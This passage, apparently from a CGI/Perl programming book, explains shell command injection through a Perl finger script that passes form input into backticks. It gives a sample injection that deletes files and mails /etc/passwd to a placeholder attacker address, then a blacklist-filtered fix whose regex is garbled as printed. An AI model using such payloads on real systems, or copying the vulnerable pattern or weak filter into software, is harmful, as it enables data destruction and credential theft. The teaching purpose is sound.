When dealing with forms, it is extremely critical to check the data. A malicious user can embed shell metacharacters--characters that have special meaning to the shell--in the form data. For example, here is a form that asks for user name:
<FORM ACTION="/cgi-bin/finger.pl" METHOD="POST"> <INPUT TYPE="text" NAME="user" SIZE=40> <INPUT TYPE="submit" VALUE="Get Information"> </FORM>
Here is the program to handle the form:
#!/usr/local/bin/perl &parse_form_data(*simple); $user = $simple{'user'};
The parse_form_data subroutine is the same as the one we've been using throughout the book.
print "Content-type: text/plain", "\n\n"; print "Here are the results of your query: ", "\n"; print `/usr/local/bin/finger $user`;
In Perl, you can execute shell commands by using the `command ` notation. In this case, the finger command is executed with the information specified by the user.
print "\n"; exit (0);
This is an extremely dangerous program! Do not use it! Imagine if a malicious user entered the following as the value of user:
; rm * ; mail -s "Ha Ha" malicious@crack.net < /etc/passwd
This would not only remove all the files in the current directory, but it would also mail the /etc/passwd file on your system to the malicious user. In order to avoid this type of problem, you should check the form value before placing it on the command line. Here is the modification of the previous program:
#!/usr/local/bin/perl &parse_form_data(*simple); $user = $simple{'user'}; if ($user =~ /[;><&\*`\]/) {\n [amp ]\|return_error (500, "CGI Program Alert", "What are you trying to do?"); } else { print "Content-type: text/plain", "\n\n"; print "Here are the results of your query: ", "\n"; print `/usr/local/bin/finger $user`; print "\n"; } exit (0);
In this safer version, the user information is checked for the following metacharacters:
; > < & * ` |
If the information contains any one of these characters, a serious error is returned. Otherwise, the program returns the information from the finger command.